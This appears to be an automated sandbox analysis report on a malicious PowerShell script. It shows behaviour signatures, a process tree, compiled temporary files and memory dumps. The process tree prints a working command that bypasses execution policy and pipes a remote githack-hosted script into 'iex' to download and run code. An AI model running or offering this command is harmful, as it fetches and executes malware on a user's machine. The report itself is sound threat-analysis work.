Analysis
- max time kernel
149s - max time network
160s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
- submitted
19/09/2026, 12:17
General
- Target 04EC49-812B67.ps1
- Size 93KB
- Sample260919-pf6b8sty2j
- SHA256 ff43fb2f692b434d913f6490529a5fd64c867a245964de305dd52200cdb28702
Malware Config
Signatures
- Badlisted process makes network request 5 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
- Contacts third-party web service commonly abused for C2 1 TTPs 1 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\04EC49-812B67.ps11⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ckqiwh2c\ckqiwh2c.cmdline"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES85D5.tmp" "c:\Users\Admin\AppData\Local\Temp\ckqiwh2c\CSC2B3118CF797D4C0B8490C1274061EC94.TMP"3⤵
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\u50xgvz4\u50xgvz4.cmdline"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES86FE.tmp" "c:\Users\Admin\AppData\Local\Temp\u50xgvz4\CSC6CA835BF43CB497E875A664A2BB9C1D1.TMP"3⤵
-
-
-
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NoProfile -Command [Net.ServicePointManager]::SecurityProtocol = [Net.ServicePointManager]::SecurityProtocol -bor [Net.SecurityProtocolType]::Tls12; irm https://rawcdn.githack.com/Boycshop/DC-0A-E1-4E-E0-05/refs/heads/main/24-21-CE-58-F4-19 | iex2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
ModuleAnalysisCache
RES85D5.tmp
RES86FE.tmp
__PSScriptPolicyTest_004bd1dq.2ef.ps1
ckqiwh2c.dll
u50xgvz4.dll
CSC2B3118CF797D4C0B8490C1274061EC94.TMP
ckqiwh2c.0.cs
ckqiwh2c.cmdline
CSC6CA835BF43CB497E875A664A2BB9C1D1.TMP
u50xgvz4.0.cs
u50xgvz4.cmdline
memory/968-51-0x0000000005BD0000-0x0000000005C1C000-memory.dmp
memory/968-41-0x0000000005410000-0x0000000005476000-memory.dmp
memory/968-53-0x00000000060B0000-0x00000000060CA000-memory.dmp
memory/968-52-0x00000000072D0000-0x000000000794A000-memory.dmp
memory/968-50-0x0000000005B80000-0x0000000005B9E000-memory.dmp
memory/968-37-0x00000000025B0000-0x00000000025E6000-memory.dmp
memory/968-38-0x0000000004D00000-0x0000000005328000-memory.dmp
memory/968-39-0x0000000004CC0000-0x0000000004CE2000-memory.dmp
memory/968-40-0x00000000053A0000-0x0000000005406000-memory.dmp
memory/968-49-0x0000000005760000-0x0000000005AB4000-memory.dmp
memory/3336-23-0x00000251BEF40000-0x00000251BEF48000-memory.dmp
memory/3336-36-0x00000251BEF50000-0x00000251BEF58000-memory.dmp
memory/3336-1-0x00000251BC830000-0x00000251BC840000-memory.dmp
memory/3336-2-0x00000251BE9B0000-0x00000251BE9D2000-memory.dmp
memory/3336-10-0x00000251BC830000-0x00000251BC840000-memory.dmp
memory/3336-55-0x00000251BC830000-0x00000251BC840000-memory.dmp
memory/3336-54-0x00000251BC830000-0x00000251BC840000-memory.dmp
memory/3336-57-0x00000251BC830000-0x00000251BC840000-memory.dmp
memory/3336-56-0x00000251BE9E0000-0x00000251BEBFC000-memory.dmp
memory/3336-0-0x00000251BC830000-0x00000251BC840000-memory.dmp